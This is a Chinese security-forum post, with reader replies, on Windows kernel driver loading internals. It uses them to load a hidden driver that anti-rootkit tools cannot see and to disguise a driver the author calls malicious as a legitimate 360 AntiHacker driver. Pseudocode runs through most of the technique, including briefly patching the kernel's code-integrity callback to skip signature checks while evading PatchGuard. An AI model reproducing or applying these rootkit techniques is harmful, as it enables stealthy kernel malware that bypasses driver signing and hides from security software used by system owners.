“可过PG”的驱动伪装与隐藏-编程技术-看雪安全社区

“可过PG”的驱动伪装与隐藏

发表于: 2023-4-19 01:07 42843

“可过PG”的驱动伪装与隐藏

icey_

2023-4-19 01:07

42843

# “可过PG”的驱动伪装与隐藏

潜水太久啦，来水个帖。

## 1 驱动是如何加载的

### 1.1 调用路径分析

非常简单，手写个驱动，在DriverEntry上加上一句：

```c
DbgBreakPoint();
```

手动加载，调用栈如下：

![](upload/attach/202304/914360_Z34XBUJRXDSGHW2.png)

发现华点：

```c
ExpWorkerThread -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry
```

IopLoadDriver基本上只有第一个参数没确定意义了。

![](upload/attach/202304/914360_354AYF5SH96YNRR.png)

使用IDA对`IopLoadUnloadDriver`进行引用分析。来自`IopLoadDriverImage`：

![](upload/attach/202304/914360_UGSAZ862JV755E6.png)

再对`IopLoadDriverImage`引用分析。来自`NtLoadDriver`。

![](upload/attach/202304/914360_QJW59TGMPK9BGGJ.png)

这唯一的一个参数，就是注册表对应的服务路径啦，例：

`\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test_Drv`

![](upload/attach/202304/914360_9HB7D38GXT4WXZ6.png)

这个注册表是在你 Ring3 调用 `CreateServiceW`的时候就填好的。

那么调用路径就清晰啦：

```c
添加注册项 -> NtLoadDriver -> IopLoadDriverImage -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry
```

### 1.2 IopLoadDriver

这个函数是基本算是最重要的函数啦，毕竟是它调用的DriverEntry。

而分析上述调用路径的唯一作用，就是为了得到 `IopLoadDriver`参数的意义。（注册表的 Handle）

由于这个函数比较大，仅分析重要部分，伪代码如下：

```c
//获取注册表项基本信息
status = NtQueryKey(KeyHandle, KeyBasicInformation, P, Length, &Length);

//从注册表键中获取驱动路径 放入 Destination
//例：\??\C:\Users\nihao\Desktop\Kernel_PDB_Frame_R0.sys
status = IopBuildFullDriverPath(&v38, KeyHandle, &Destination);

//这个函数非常重要！返回DriverObject.DriverSection 和 驱动基地址 BaseAddress
//通过这个函数就能直接安装一个可运行的驱动了，待会分析
status = MmLoadSystemImageEx(&Destination, 0, 0, 0, &DriverSection, &BaseAddress);

//创建一个新的DriverObject
OBJECT_ATTRIBUTES Obj_Att = { 0 };
Obj_Att.Length = 0x30; 
Obj_Att.Attributes = 0x250; 
Obj_Att.ObjectName = &ObjectName;// L"\\Driver\\Test_Drv" ， "\\Driver\\"串接 服务名
status = ObCreateObjectEx(KeGetCurrentThread()->PreviousMode,
                          	IoDriverObjectType,
                             &Obj_Att,// POBJECT_ATTRIBUTES
                             0,
                             &out,//这个是一个ULONG64 类型 没啥用
                             0x1A0,
                             0,
                             0,
                             &DriverObject,//返回新的 DriverObject
                             0i64);

//填充DriverObject
memset(DriverObject, 0, 0x1A0ui64);
DriverObject->DriverExtension = &DriverObject[1];// 准备填充 Driver_Object 
*&DriverObject[1].Type = DriverObject;
ReturnLength = 28;
memset64(DriverObject->MajorFunction, IopInvalidDeviceRequest, 0x1Cui64);
v18 = BaseAddress;//MmLoadSystemImageEx返回的基地址
v19 = BaseAddress;
*&DriverObject->Type = 0x1500004; // Type = 4,Size = 0x150
v20 = RtlImageNtHeader(v19);
*v40 = v20->OptionalHeader.MinorImageVersion | (v20->OptionalHeader.MajorImageVersion << 16);
v21 = &v18[v20->OptionalHeader.AddressOfEntryPoint];
if ( (v20->OptionalHeader.DllCharacteristics & 0x2000) == 0 )
    DriverObject->Flags |= 2u;
DriverObject->DriverInit = v21;//DriverEntry 啦
DriverObject->DriverSection = DriverSection;//MmLoadSystemImageEx 返回的DriverSection
DriverObject->DriverStart = v18;//基地址
DriverObject->DriverSize = v20->OptionalHeader.SizeOfImage;

//将DriverObject添加入全局Object表
status = ObInsertObjectEx(DriverObject, 0i64, 1i64, 0, 0, 0i64, &Handle);// 加入Object表

//继续填充DriverObject
status = ObReferenceObjectByHandle(Handle,0,IoDriverObjectType,
                        KeGetCurrentThread()->PreviousMode,
                        &DriverObject,
                        0i64);//测试一下能不能通过Handle获得DriverObject ?!
ZwClose(Handle);
DriverObject->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
DriverObject->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
DriverObject->DriverName.Length = ObjectName.Length;
DriverObject->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(DriverObject->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
//这里的 ObjectName 就是 L"\\Driver\\Test_Drv"  ， "\\Driver\\"串接 服务名

//调用DriverEntry
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);//拿到注册表路径
DriverObject->DriverInit(DriverObject,PSTR);//刚好对应DriverEntry的两个参数

//提交驱动申请的设备（如果驱动有注册设备）
IopReadyDeviceObjects(DriverObject);//不调用这个函数的话，设备无法打开

//收尾工作
```

### 1.3 MmLoadSystemImageEx

这个函数非常强大，传入需要加载的驱动的路径，就可以直接加载一个可直接运行的无DriverObject驱动。（请读者自行测试）

功能包括：

创建DriverSection、映射内存、修复重定位、将DriverSection添加入PsLoadedModuleList、填充IAT、填充_security_cookie、...(这几个功能已经够用了)

没错，上述的 DriverSection 就是 驱动模块链表 连接的结构体 ：_LDR_DATA_TABLE_ENTRY。

同样，这个函数比较大，这里仅列出重要部分伪代码：

```c
//准备一下接下来需要用到的字符串
status = MiGenerateSystemImageNames(DriverPath, zero1, zero2, &v69, v73, &String1);
//string1同DriverPath \??\C:\Users\nihao\Desktop\Kernel_PDB_Frame_R0.sys

//创建DriverSection （仅创建、不插入PsLoadedModuleList）
status = MiObtainSectionForDriver(&String1, DriverPath, 0, 0, &DriverSection);

//申请映射地址
PUCHAR Section = DriverSection + 0x70;
int out_uk;
DllBase = MiGetSystemAddressForImage(Section, 0, &out_uk);//此时还未映射

//进行映射
KIRQL OldIrql;
KeRaiseIrql(1, &OldIrql);
status = MiMapSystemImage(Section, DllBase);//一定要是 irql = 1 才能映射成功
KeLowerIrql(OldIrql);//映射好的驱动是已经修好了重定位的了，非常nice

//填充DriverSection信息并插入PsLoadedModuleList
DriverSection->SizeOfImage = DllSize;
DriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(DriverSection, &OutU, &AString, 0, 1, &NewDriverSection);
//此时可以Free旧的DriverSection，新的 NewDriverSection 才是真正有效的。
// &OutU和&AString都是没用的输出值，不用管，给个空间就行了

//修复IAT
略
    
//填充_security_cookie
略
```

至此，一个 可在驱动模块链表（PsLoadedModuleList）可以找到的驱动就加载完成了。

#### 1.3.1 数字签名验证部分

如果你需要隐藏或伪装的驱动本身有签名，就不用patch了，如果硬要加载一个无签名的，那才需要patch，最好不要啦，因为有蓝屏几率。

在通过`MiObtainSectionForDriver`获取DriverSection的时候，Windows就会进行数字签名认证啦！调用栈如下：

![](upload/attach/202304/914360_BR9ZFXVECZ7ADUY.png)

通过 `SeValidateImageHeader`进入 CI.DLL 进行签名校验，CL.DLL 部分就不再继续跟了，我们主要看如何进入CI.DLL：

![](upload/attach/202304/914360_HDBCDPY8UBSUJN7.png)

网上一般通过Patch `CI!g_CiOptions`实现绕过数字签名校验，这边就不搞这么复杂了，我们 patch `qword_14040EF40`，换成我们的函数，返回 STATUS_SUCCESS 就可以通过签名校验了，虽然 `qword_14040EF40`受PG保护，但是只修改一会，加载完驱动就改回去，PG就反应不过来了。（我试过很多次，基本上改了 `qword_14040EF40` 后几个小时PG才能反应过来）。定位：

![](upload/attach/202304/914360_Y25CE5S2CZYM2ZJ.png)

win10、win11 我都看过， 都是在 &SeCiCallbacks + 0x20 的位置，可能有些版本不同。

## 2 开始操作

操作很简单，通过调用上面说到过的未导出函数，就能实现。

需要隐藏的驱动或伪装的驱动代码如下：（主要是创建一个 名为 `ICEY_Device`的设备，创建成功说明 驱动加载成功）

```c
#include<ntddk.h>
#define my_device_name  L"\\Device\\ICEY_Device"//设备名
#define my_link_name L"\\??\\ICEY_Device"//符号链接名

NTSTATUS Exit(DRIVER_OBJECT* DriverObject) {
	UNICODE_STRING symbolLinkName;
	if (DriverObject->DeviceObject)
		IoDeleteDevice(DriverObject->DeviceObject);
	RtlInitUnicodeString(&symbolLinkName, my_link_name);
	IoDeleteSymbolicLink(&symbolLinkName);
	return STATUS_SUCCESS;
}

NTSTATUS Test(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
	NTSTATUS Status;
	DbgPrint("Create File Finsh!\n");//输出成功，则代表成功
	Status = STATUS_SUCCESS;
	pIrp->IoStatus.Status = Status;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DrvObj, PUNICODE_STRING Str) {
	UNICODE_STRING device_name, device_link_name, event_name1, event_name2;//设备名，符号链接名，事件名
	RtlInitUnicodeString(&device_name, my_device_name);//初始化设备名
	RtlInitUnicodeString(&device_link_name, my_link_name);//初始化符号链接名
	NTSTATUS status = 0;
	PDEVICE_OBJECT ShellDevObj = NULL;
	status = IoCreateDevice(DrvObj, 200, &device_name, FILE_DEVICE_UNKNOWN, 0, 1, &ShellDevObj);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("无法创建设备!\n");
		return status;
	}
	status = IoCreateSymbolicLink(&device_link_name, &device_name);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("无法创建符号链接！\n");
		IoDeleteDevice(ShellDevObj);
		return status;
	}
	DrvObj->MajorFunction[IRP_MJ_CREATE] = Test;
	return status;
}
```

编译出来的 驱动文件 名字为 ： Test_Drv.sys

### 2.1 驱动隐藏加载

这里就贴一下伪代码，实际代码请查看项目：

```c
#define HideDrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\xixi.sys" //填驱动路径

UNICODE_STRING Path;
RtlInitUnicodeString(&Path, HideDrvPath);

//Patch 签名校验   可省略，看你需要加载的驱动是否有签名
CIFun = *Pqword_14040EF40;
*Pqword_14040EF40 = MySeValidateImageHeader;//换成我们的函数，这个函数返回 STATUS_SUCCESS

//获取DriverSection
MiGenerateSystemImageNames(&Path, 0, 0, &Out, Out14, &String1);
MiObtainSectionForDriver(&String1, &Path, 0, 0, &PDriverSection);

//恢复patch    可省略，看你需要加载的驱动是否有签名
*Pqword_14040EF40 = CIFun;

//映射内存
Section = PDriverSection + 0x70;
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
MiMapSystemImage(Section, DllBase);
ExFreePool(PDriverSection);

//填充IAT
略，请看项目完整代码;

//填充_security_cookie
略，请看项目完整代码;

//修复 WDF(可选)
略，这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作，不修复就会蓝屏，WDM驱动就没有这个问题;
    
//调用DriverEntry
略，请看项目完整代码;
```

对就这么简单，就加载了一个隐藏驱动（无DriverObject 、无DriverSection）

由于没有这两个结构体，所以这个驱动一些函数是无法调用的，如何解决这里不赘述了。

在项目中我采取了IO劫持的方式，让我的隐藏驱动创建设备，原理就是给隐藏驱动的 DriverEntry第一个参数传进一个没有设备的DriverObject，详情请看代码。

###### 2.1.1 测试：

![](upload/attach/202304/914360_DRXDF2W4C5P5R9C.png)

ARK工具找不到：

![](upload/attach/202304/914360_YGZ59YEZ23X867N.png)

WinObj 双击 设备名字测试：（成功输出 “Create File Finsh！”）

![](upload/attach/202304/914360_QZZ569ZUM3H42UY.png)

### 2.2 驱动伪装加载

同上，只贴伪代码，实际代码请查看项目：

```c
#define ADrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\Test_Drv.sys" //恶意驱动路径
#define ODrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\360AntiHacker64.sys"//傀儡驱动路径
#define ServiceName  L"AntiHacker"//傀儡服务名

//将 恶意驱动 伪装成 傀儡驱动

//自建注册表服务，以 ServiceName 命名
略，详情请看代码;

//获取 恶意驱动的 DriverSection 和 傀儡驱动的 DriverSection
status = MiObtainSectionForDriver(&AString, &ADrvPathUn, 0, 0, &PADriverSection);
status = MiObtainSectionForDriver(&OString, &ODrvPathUn, 0, 0, &PODriverSection);

//对恶意驱动 进行映射
Section = *(PULONG64)(PADriverSection + SectionOffset);
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
status = MiMapSystemImage(Section, DllBase);
Head = RtlImageNtHeader(DllBase);
DllSize = *(PULONG32)(Head + 0x50);

//恢复patch    可省略，看你需要加载的驱动是否有签名
*Pqword_14040EF40 = CIFun;

//将恶意驱动信息填入 傀儡驱动DriverSection 并提交（加入PsLoadedModuleList链表）
PODriverSection->SizeOfImage = DllSize;
PODriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(PODriverSection, &OutU, &OString, 0, 1, &NewPODriverSection);

//修复IAT
略;

//修复_security_cookie
略;

//修复 WDF(可选)
略，这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作，不修复就会蓝屏，WDM驱动就没有这个问题;

//构造 DriverObject ，并填入信息（恶意驱动的信息） ，然后 加入 全局Object表
status = ObCreateObjectEx(0, *PIoDriverObjectType, &att, 0, &Out, 0x1A0, 0, 0, &PTDrvObj, 0);
memset(PTDrvObj, 0, 0x1a0);
PTDrvObj->DriverExtension = &PTDrvObj[1];
*(PULONG64)(&PTDrvObj[1]) = &PTDrvObj[0];
for (int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
    PTDrvObj->MajorFunction[i] = PIopInvalidDeviceRequest;
}
PTDrvObj->Type = 4; PTDrvObj->Size = 0x150;
PTDrvObj->DriverInit = NewPODriverSection->EntryPoint;
PTDrvObj->DriverSection = NewPODriverSection;
PTDrvObj->DriverStart = DllBase;
PTDrvObj->DriverSize = DllSize;
PTDrvObj->Flags |= 2;
status = ObInsertObjectEx(PTDrvObj, 0, 1, 0, 0, 0, &DrvH);
status = ObReferenceObjectByHandle(DrvH, 0, *PIoDriverObjectType, 0, &PTDrvObj, NULL);
ZwClose(DrvH);
PTDrvObj->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
PTDrvObj->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
PTDrvObj->DriverName.Length = ObjectName.Length;
PTDrvObj->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(PTDrvObj->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
//ObjectName 是 "\\Driver\\XXX"

//调用DriverEntry
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);
PTDrvObj->DriverInit(PTDrvObj,PSTR);

//提交设备
IopReadyDeviceObjects(PTDrvObj);
```

###### 2.2.1 测试：

将 Test_Drv.sys 伪装成 360AntiHacker64.sys 。

ARK签名检测：

![](upload/attach/202304/914360_ZQ6UAN5EKSFGJAT.png)

火绒剑检测：

![](upload/attach/202304/914360_X5BN82B3M6EC4TN.png)

## 3 项目地址 & 补充说明

不保证100%可过 PG，只是在我测试 40+小时以上，win10 win11 均未被PG检测。

项目用到大量未导出函数，需要自己想办法获取函数地址。进入 `Kernel_PDB.c`  `InitAllOffSet()` 进行修改

管安装不管卸载，重启即可卸载哈哈哈哈。

#### 项目地址：

**<a href="elink@74cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6u0j5@1g2&6i4K6u0V1z5e0V1&6i4K6u0r3c8s2u0$3i4K6g2X3d9r3W2V1k6g2)9#2k6V1q4F1k6q4)9#2k6V1y4S2L8h3!0#2k6X3I4S2k6$3f1`.">Drv_Hide_And_Camouflage</a>**

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

最后于 2023-4-26 11:22 被icey_编辑，原因：

#开源分享 #驱动开发 #系统内核

收藏・96

点赞・21

打赏

赞赏记录

参与人

雪币

留言

时间

mb_iirigsjr

感谢你分享这么好的资源！

2026-6-23 23:38

白色风信子

感谢你分享这么好的资源！

2026-3-15 19:26

YYF1337

感谢你分享这么好的资源！

2025-12-25 18:42

mb_fstdoxzf

感谢你的积极参与，期待更多精彩内容！

2025-7-24 20:15

東陽不列山

为你点赞！

2025-4-24 02:45

一半人生

+10

感谢你分享这么好的资源！

2024-11-23 13:22

痴念ヾ

为你点赞~

2023-12-2 23:56

yu781129965

为你点赞~

2023-7-27 11:46

kylix

为你点赞~

2023-7-20 02:14

IKAIL

为你点赞~

2023-6-7 18:22

牧风

为你点赞~

2023-5-19 13:35

sinkay

为你点赞~

2023-5-8 19:23

Aira

为你点赞~

2023-5-8 00:53

pysafe

为你点赞~

2023-5-6 10:26

PLEBFE

为你点赞~

2023-4-21 17:55

沉疴

为你点赞~

2023-4-20 14:32

zhczf

为你点赞~

2023-4-19 21:34

shishichen

为你点赞~

2023-4-19 19:25

704088

为你点赞~

2023-4-19 11:19

TkBinary

为你点赞~

2023-4-19 11:14

mb_xuxpsolj

为你点赞~

2023-4-19 10:13

最新回复 (29) 1 2 ▶
nekaxi 雪币： 10891 活跃值： (8017) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 165 粉丝 0 关注私信	nekaxi 2 楼 PG是什么意思？ 2023-4-19 07:10 0
游乐娃子雪币： 8920 活跃值： (6843) 能力值： ( LV4，RANK：50 ) 在线值：发帖 36 回帖 252 粉丝 65 关注私信	游乐娃子 3 楼 nekaxi PG是什么意思？屁股 2023-4-19 07:29 2
crackcc 雪币： 187 活跃值： (863) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 7 粉丝 1 关注私信	crackcc 4 楼没看出来跟屁股的关系 2023-4-19 09:04 0
秋狝雪币： 10076 活跃值： (34141) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1571 粉丝 39 关注私信	秋狝 5 楼 tql 2023-4-19 09:06 1
烟花易冷丶雪币： 1392 活跃值： (2565) 能力值： ( LV3，RANK：30 ) 在线值：发帖 6 回帖 35 粉丝 35 关注私信	烟花易冷丶 6 楼国外17年玩过了... 2023-4-19 09:11 0
joker陈雪币： 12245 活跃值： (4395) 能力值： ( LV5，RANK：71 ) 在线值：发帖 19 回帖 367 粉丝 4 关注私信	joker陈 7 楼干货满满，感谢分享最后于 2023-4-19 09:23 被joker陈编辑，原因： 2023-4-19 09:22 0
小希希雪币： 2857 活跃值： (5660) 能力值： ( LV2，RANK：10 ) 在线值：发帖 17 回帖 360 粉丝 18 关注私信	小希希 8 楼感谢分享 2023-4-19 11:01 0
nekaxi 雪币： 10891 活跃值： (8017) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 165 粉丝 0 关注私信	nekaxi 9 楼 lononan 屁股 2023-4-20 06:03 0
wx_kx21839 雪币： 0 活跃值： (236) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 8 粉丝 0 关注私信	wx_kx21839 10 楼和 kdmapper区别是什么 2023-4-23 21:20 0
qqxiaobing 雪币： 368 活跃值： (322) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 16 粉丝 1 关注私信	qqxiaobing 11 楼大佬，我在使用MiGetSystemAddressForImage映射后，dllbase的地址错误，全是？？。这是为什么 2023-5-19 12:42 0
icey_ 雪币： 1261 活跃值： (1978) 能力值： ( LV5，RANK：70 ) 在线值：发帖 6 回帖 12 粉丝 112 关注私信	icey_ 1 12 楼 mb_jglkxfsm 大佬，我在使用MiGetSystemAddressForImage映射后，dllbase的地址错误，全是？？。这是为什么 MiGetSystemAddressForImage只是向系统申请一个空间，它返回一个地址，还没映射。把返回的地址通过MiMapSystemImage映射，才有内容。 2023-5-19 13:09 0
qqxiaobing 雪币： 368 活跃值： (322) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 16 粉丝 1 关注私信	qqxiaobing 13 楼在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里申请内存的时候又会报错,求解,大佬 2023-5-19 17:12 0
Prompto 雪币： 15 活跃值： (140) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	Prompto 14 楼想问一个很小白的问题，有不触发PG的进程隐藏源码吗？ 2023-5-19 22:31 0
foxkinglxq 雪币： 401 活跃值： (1206) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 33 粉丝 1 关注私信	foxkinglxq 15 楼 lononan 屁股你牛哈哈 2023-5-20 18:10 0
搬山填海雪币： 30 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	搬山填海 16 楼竟然没看懂 2023-5-22 08:59 0
小希希雪币： 2857 活跃值： (5660) 能力值： ( LV2，RANK：10 ) 在线值：发帖 17 回帖 360 粉丝 18 关注私信	小希希 17 楼学习,感谢分享 2023-5-27 22:39 0
mb_goyzgaws 雪币： 220 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	mb_goyzgaws 18 楼 qqxiaobing 在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里  申请内存的时候又会报错,求解,大佬我给你看看 2023-6-6 02:41 0
编程与少年雪币： 16 活跃值： (150) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	编程与少年 19 楼 Prompto 想问一个很小白的问题，有不触发PG的进程隐藏源码吗？隐藏进程可以不pg的 2023-7-19 22:11 1
冰雄雪币： 1486 活跃值： (1129) 能力值： ( LV2，RANK：10 ) 在线值：发帖 22 回帖 224 粉丝 59 关注私信	冰雄 20 楼楼主试过能过大黄蜂等翻录软件的驱动隐藏进程的检测吗？ 2023-7-27 14:56 0
z张大侠雪币： 0 活跃值： (30) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	z张大侠 21 楼 PTDrvObj->DriverExtension = &PTDrvObj[1]; *(PULONG64)(&PTDrvObj[1]) = &PTDrvObj[0];这是两步是做什么的啊，&PTDrvObj[1]这样不就是 pObj+sizeof(obj) ObCreateObjectEx返回的obj地址是连续的吗？最后于 2023-7-30 21:13 被z张大侠编辑，原因： 2023-7-30 21:11 0
板子菌雪币： 207 活跃值： (144) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	板子菌 22 楼问一个小白的问题，CI.DLL那里，楼主是怎么知道qword_1403A5C60这个变量是代表进入CI.DL里的函数的呢？我在IDA中对这个变量查询引用，发现没有地方初始化它 2023-11-7 19:47 0
板子菌雪币： 207 活跃值： (144) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	板子菌 23 楼 qqxiaobing 在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里  申请内存的时候又会报错,求解,大佬解决了吗？我也是MakeIAT这里报错，在里面的MiSnapThunk报了分页错误，提示访问了只读内存 2023-11-9 11:27 0
我的研究雪币： 107 活跃值： (1361) 能力值： ( LV2，RANK：10 ) 在线值：发帖 14 回帖 74 粉丝 6 关注私信	我的研究 24 楼编程与少年隐藏进程可以不pg的怎么做呢，断链会PG的哦 2024-11-22 15:52 0
编程与少年雪币： 16 活跃值： (150) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	编程与少年 25 楼冰雄楼主试过能过大黄蜂等翻录软件的驱动隐藏进程的检测吗？可以的吧 2025-2-25 03:37 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

icey_

发帖

回帖

RANK

关注

私信

他的文章

tvm分析与还原 42315
“可过PG”的驱动伪装与隐藏 42843
[原创]遍历_Driver_Object 11089
[原创]Win10 x64 APC的分析与玩法 30116
[原创]Ntoskrnl_Viewer X64：可在非测试模式下符号化浏览内核内存 8924

关于我们

联系我们

企业服务

看雪公众号

最新回复 (29) 1 2 ▶
nekaxi 雪币： 10891 活跃值： (8017) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 165 粉丝 0 关注私信	nekaxi 2 楼 PG是什么意思？ 2023-4-19 07:10 0
游乐娃子雪币： 8920 活跃值： (6843) 能力值： ( LV4，RANK：50 ) 在线值：发帖 36 回帖 252 粉丝 65 关注私信	游乐娃子 3 楼 nekaxi PG是什么意思？屁股 2023-4-19 07:29 2
crackcc 雪币： 187 活跃值： (863) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 7 粉丝 1 关注私信	crackcc 4 楼没看出来跟屁股的关系 2023-4-19 09:04 0
秋狝雪币： 10076 活跃值： (34141) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1571 粉丝 39 关注私信	秋狝 5 楼 tql 2023-4-19 09:06 1
烟花易冷丶雪币： 1392 活跃值： (2565) 能力值： ( LV3，RANK：30 ) 在线值：发帖 6 回帖 35 粉丝 35 关注私信	烟花易冷丶 6 楼国外17年玩过了... 2023-4-19 09:11 0
joker陈雪币： 12245 活跃值： (4395) 能力值： ( LV5，RANK：71 ) 在线值：发帖 19 回帖 367 粉丝 4 关注私信	joker陈 7 楼干货满满，感谢分享最后于 2023-4-19 09:23 被joker陈编辑，原因： 2023-4-19 09:22 0
小希希雪币： 2857 活跃值： (5660) 能力值： ( LV2，RANK：10 ) 在线值：发帖 17 回帖 360 粉丝 18 关注私信	小希希 8 楼感谢分享 2023-4-19 11:01 0
nekaxi 雪币： 10891 活跃值： (8017) 能力值： ( LV2，RANK：10 ) 在线值：发帖 7 回帖 165 粉丝 0 关注私信	nekaxi 9 楼 lononan 屁股 2023-4-20 06:03 0
wx_kx21839 雪币： 0 活跃值： (236) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 8 粉丝 0 关注私信	wx_kx21839 10 楼和 kdmapper区别是什么 2023-4-23 21:20 0
qqxiaobing 雪币： 368 活跃值： (322) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 16 粉丝 1 关注私信	qqxiaobing 11 楼大佬，我在使用MiGetSystemAddressForImage映射后，dllbase的地址错误，全是？？。这是为什么 2023-5-19 12:42 0
icey_ 雪币： 1261 活跃值： (1978) 能力值： ( LV5，RANK：70 ) 在线值：发帖 6 回帖 12 粉丝 112 关注私信	icey_ 1 12 楼 mb_jglkxfsm 大佬，我在使用MiGetSystemAddressForImage映射后，dllbase的地址错误，全是？？。这是为什么 MiGetSystemAddressForImage只是向系统申请一个空间，它返回一个地址，还没映射。把返回的地址通过MiMapSystemImage映射，才有内容。 2023-5-19 13:09 0
qqxiaobing 雪币： 368 活跃值： (322) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 16 粉丝 1 关注私信	qqxiaobing 13 楼在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里申请内存的时候又会报错,求解,大佬 2023-5-19 17:12 0
Prompto 雪币： 15 活跃值： (140) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	Prompto 14 楼想问一个很小白的问题，有不触发PG的进程隐藏源码吗？ 2023-5-19 22:31 0
foxkinglxq 雪币： 401 活跃值： (1206) 能力值： ( LV2，RANK：10 ) 在线值：发帖 5 回帖 33 粉丝 1 关注私信	foxkinglxq 15 楼 lononan 屁股你牛哈哈 2023-5-20 18:10 0
搬山填海雪币： 30 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	搬山填海 16 楼竟然没看懂 2023-5-22 08:59 0
小希希雪币： 2857 活跃值： (5660) 能力值： ( LV2，RANK：10 ) 在线值：发帖 17 回帖 360 粉丝 18 关注私信	小希希 17 楼学习,感谢分享 2023-5-27 22:39 0
mb_goyzgaws 雪币： 220 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 2 粉丝 0 关注私信	mb_goyzgaws 18 楼 qqxiaobing 在填充IAT过程中,如果我直接不下段F11进去单步步过就会报错,单步步过可以通过,但是之后再修复WDF这里  申请内存的时候又会报错,求解,大佬我给你看看 2023-6-6 02:41 0
编程与少年雪币： 16 活跃值： (150) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	编程与少年 19 楼 Prompto 想问一个很小白的问题，有不触发PG的进程隐藏源码吗？隐藏进程可以不pg的 2023-7-19 22:11 1
冰雄雪币： 1486 活跃值： (1129) 能力值： ( LV2，RANK：10 ) 在线值：发帖 22 回帖 224 粉丝 59 关注私信	冰雄 20 楼楼主试过能过大黄蜂等翻录软件的驱动隐藏进程的检测吗？ 2023-7-27 14:56 0
z张大侠雪币： 0 活跃值： (30) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	z张大侠 21 楼 PTDrvObj->DriverExtension = &PTDrvObj[1]; *(PULONG64)(&PTDrvObj[1]) = &PTDrvObj[0];这是两步是做什么的啊，&PTDrvObj[1]这样不就是 pObj+sizeof(obj) ObCreateObjectEx返回的obj地址是连续的吗？最后于 2023-7-30 21:13 被z张大侠编辑，原因： 2023-7-30 21:11 0
板子菌雪币： 207 活跃值： (144) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 2 粉丝 1 关注私信	板子菌 22 楼问一个小白的问题，CI.DLL那里，楼主是怎么知道qword_1403A5C60这个变量是代表进入CI.DL里的函数的呢？我在IDA中对这个变量查询引用，发现没有地方初始化它 2023-11-7 19:47 0
